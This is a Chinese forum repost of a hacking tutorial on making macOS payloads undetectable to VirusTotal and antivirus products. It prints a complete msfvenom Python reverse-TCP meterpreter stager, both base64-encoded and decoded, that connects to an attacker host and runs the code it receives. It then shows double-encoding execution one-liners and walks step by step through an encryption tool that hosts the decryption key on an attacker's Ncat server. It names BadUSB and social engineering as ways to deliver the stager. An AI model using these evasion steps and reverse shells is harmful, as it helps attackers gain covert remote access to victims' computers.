如何创建不可被检测的payload

Track-SSG   ·   发表于 2018-11-22   ·   漏洞文章

多种加密和编码的方法会比单个方法更有效的对抗macOS系统的防护。另外,使用一些简单的技巧很容易逃避VirusTotal和MaOS的反病毒软件。

假设刚开始某个payload是一个已知的、容易被检测到的针对macOS的payload,然后找到能够使得同一个payload在MacBook顺利执行的方法。而这一过程这将证实一些流行的混淆绕过方法是否有效。除了对抗VirusTotal的检测之外,还在macOS Mojave(v10.14)中测试了流行的反病毒软件(如Avast,AVG,BitDefender,Sophos和ClamXAV等)。

读者需要注意的是,利用一个不知名恶意应用程序和将普通payload绕过病毒扫描器是两个不同的主题。本文的重点将是规避杀毒软件和病毒库的检测。正如我们将在下面看到的,在大多数情况下,简单地编码和加密足以绕过反病毒检测。

基于ba se64编码

编码,作为一种反病毒规避技术,通常是一个很糟糕的主意,因为它很容易被解码和识别。然而,Python编码和Bash脚本是在Empire和msfvenom等payload批量制造软件中是常用的手段。它允许系统执行代码非常复杂的脚本,而不必担心特殊字符转义等特殊情况而导致payload中断或失效。

让我们来讨论一下ba se64编码一分钟,然后思考下面的字符串。

echo 'one' | ba se64
b25lCg==

echo 'one two' | ba se64
b25lIHR3bwo=

echo 'one two three' | ba se64
b25lIHR3byB0aHJlZQo=

echo 'one two three four' | ba se64
b25lIHR3byB0aHJlZSBmb3VyCg==

echo 'one two three four five' | ba se64
b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK

所有的字符串都可以在各类Linux系统下使用下面的命令轻松的解码。

ba se64 -d <<< 'b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK'

注意字符串的结尾微妙地变化,而字符串开头开始总是相同的。大多数msfvenom产生的payload也是如此。如果只更改IP地址和端口号,那么对于使用msfvenom每一个黑客来说,其产生的经过ba se64编码的payload的开始总是相同的。下面是msfvenom配置IP地址“10.42.0.1”创建的payload。

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

当把IP地址配置为“192.168.0.2”时,创建的payload

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4yJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==

不管使用什么IP和端口,payload的前142个字符时总是相同的。如果不对恶意代码进行解码和分析,反病毒软件通过这公共的ba se64字符来判定是否是恶意代码似乎是合理的,但并不是这样。

经过单次ba se64编码的Payloads

不管你是否相信,找到一个VirusTotal和反病毒软件能检测到的的恶意文件是一个挑战。在互联网上搜索了一些流行的“黑客macOS”文章之后,社区成员psytech140中的一篇三年前的Null Byte文章发现了一个简单的msfvenom产生的payload。执行下面的命令产生。

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Payload size: 446 bytes
import ba se64,sys;exec(ba se64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZ..........

这是一个ba se64编码的Python编码的payload,被设计用来与me tasploit交互。将代码保存到一个名为“TimeFielsWord.Py”的文件中,并将其上传到VirusTotal,其检出率为4/58。

22.jpg

这个检测率出乎意料地低。通过对嵌入的ba se64字符串进行解码,可以清楚的看到,Python脚本作用是连接到上的远程服务器(10.42.0.1)的4444端口。

ba se64 -d <<< 'aW1wb3..........

import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('10.42.0.1',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

保存被解码的python代码到文件“thisfileisevil_without_encoding.py”中,然后上传VirusTotal,结果如下

33.jpg

有意思的是,原始的Python代码接被检测率更低。

关于这一点,还不清楚VirusTotal和反病毒软件逻辑是什么。他们在解码ba se64字符串或检测Python编码方面做得不是很好,这些代码毫无疑问在多年来已经被不同的黑客使用了数千次。

双重ba se64编码

如果一次普通的编码能够避开大多数杀毒软件,那么双重编码也应该是一种有效的技术,对吧?但是,也不完全是这样。经过这样处理的payload上传到VirusTotal,被检测率达1/54。

44.jpg

再次,唯一的检测出来防护软件是微软,这对macOS没有任何帮助。这是通过对msfvenom的输出payload再编码来实现的,与之前所展示的是同一个payload。

cat thisfileisevil.py | ba se64

以下命令也可以在MacBook上执行

python -c "$(printf '%s' 'ENCODED-PAYLOAD-HERE' | ba se64 -D)"

MacBook使用printf和ba se64对字符串进行解码(-D),并立即使用Python执行命令(-c)——Python会再次解码并创建反向TCP连接。

令我惊讶的是,VirusTotal和流行的杀毒软件都能以这种方式躲避检测。没有一个测试的杀毒软件能够检测文档格式的双重编码的payload。

加密过的Payloads

到目前为止,我们已经了解到编码和双编码能有效规避大多数杀毒软件的检测(尽管使用原始代码更好)。编码payload只是一个黑客和反病毒开发者之间的猫捉老鼠游戏。反病毒扫描器递归的解码ba se64字符串并寻找通用的字符特征只是时间问题。

这使我想到了一种更可靠的方法来击败MacOS反病毒;一种更难检测和预防的解决方案。即加密,除了编码之外,加密将提供更好的解决方案来规避反病毒扫描器。

为什么加密比编码好

编码的主要缺点是反病毒软件能够通过连续解码ba se64字符串来发现嵌入的有效payload。无论攻击者编码多少次,它都可以逆向工程。但通过加密payload,反病毒软件最终只会发现一组不可读的数据。而这加密payload不能被AV软件扫描或由人类读取—因为不知道解密的密钥。

这让我想起了一个简单的shell脚本Armor,我创建了一个简单的shell脚来说明如何加密和执行macOS的payload。

Armor如何工作

Armor将加密任何文件的内容。该文件可以是包含一行程序或者是具有数百行代码的复杂Python脚本,又或者任意macOS支持的编程语言编写的脚本。文件内容用一次性密钥加密。然后,密钥被暂时寄存在攻击者的服务器上,然后由目标MacBook下载下来以解密payload。

下面是一个简单的Netcat的payload的例子。我将一步步说明它。

前提:在端口4444上启动Netcat监听。读取“payload.txt”文件包含的Bash单行程序,在执行时,它将在攻击者的Netcat监听机器和目标MacBook之间创建TCP连接。Armor是用来对Bash内容进行加密的。Ncat被用于在攻击者的服务器上托管解密密钥。当在目标MacBook中执行stager时,会对paylaod文件中的单行程序进行解密并执行,而且不向硬盘写入任何数据。Ncat在使用完密钥后立即终止监听。而当建立了Netcat连接时,攻击者可以远程访问MacBook目标。

Step 1: 安装Armor

我们可是使用如下命令下载安装Armor

git clone https://github.com/tokyoneon/Armor
cd Armor/
chmod +x armor.sh

Step 2: 创建payload

让我们简单创建一个payload,使用ls命令来简单演示入侵效果

echo 'ls -la' >/tmp/payload.txt

Step 3: 使用Armor加密payload

现在使用Armor加密payload.txt

./armor.sh /tmp/payload.txt 1.2.3.4 443

其中1.2.3.4是攻击者的IP地址,其中解密密钥被托管在此。这也可以是是本地IP(例如,“192.1681.2”)或虚拟专用服务器地址。Ncat将使用这个地址和端口号(443)来托管解密密钥。端口也可以是攻击者的系统中的任何可用端口。

如果LibreSSL(Mac OS使用的OpenSSL版本)没有在KALI中找到,Armor将尝试安装它。不幸的是,在Kali/Debian中的OpenSSL版本与Mac OS的LibreSSL不兼容。

Step 4: 使用Ncat监听

打开Ncat监听。Armor将自动运行。

[+]  Ncat active for stager: payload.txt_e856...
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Step 5: 执行Stager

Armor将为目标MacBook生成加密和编码命令。然后这个阶段可以使用BadUsb或者其他社会工程学进行攻击。现在,我们将代码复制和粘贴到MacBook终端上。

当执行阶段时,MacBook终端将以长(-L)格式列出(ls)当前目录中的所有(-A)文件。


我们加密了一个简单的ls命令,但是想象如果用于各种高级而且复杂的Python脚本,执行一个高级的攻击。杀毒软件现今依旧没有对ba se64字符串进行解码,即使它们进行了解码,也无法读取其中的被加密的payload。

改善攻击

Armor并不完美,也希望读者能找到改进的方法。例如,找一个LibreSSL的替代方案,因为大多数Debian和Kali发行版默认没有安装它,所以作为加密解决方案有点不方便。

在攻击者的服务器上托管解密密钥是危险的。如果攻击者的IP地址发现的,那么就可以通过枚举密钥的文件名来下载它。而密钥将对加密后的payload进行解密,逆向工程,从而暴露攻击。

在端口53上使用UDP来传输解密密钥将更有可能避免防火墙的检测和深度包检查(DPI),使得它更加“不可检测”。

此外,找到一种不依赖互联网加密payload的方法也是很重要的。

最后的思考

在测试了针对VirusToal和至少六种流行杀毒软件之后,我发现这其中没有一个能够检测到双编码的payload。看来macOS反病毒扫描器几乎无法识别甚至是最常见的单次编码的payload。而检测Armor所产生的payload对于今天的macOS来说则更具挑战性。

此外,MACOS过于依赖GateKeeper来阻止恶意应用程序。如以前文章所示,GateKeeper提供的保护并不适用于插入MacBook的USB驱动器,因此黑客可以通过社会工程学来进行攻击。

原文链接:https://null-byte.wonderhowto.com/how-to/hacking-macos-create-undetectable-payload-0189715/
           


打赏我,让我更有动力~

0 Reply   |  Until 2018-11-22 | 513 View
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2020. All Rights Reserved. 掌控者

Powered by 掌控者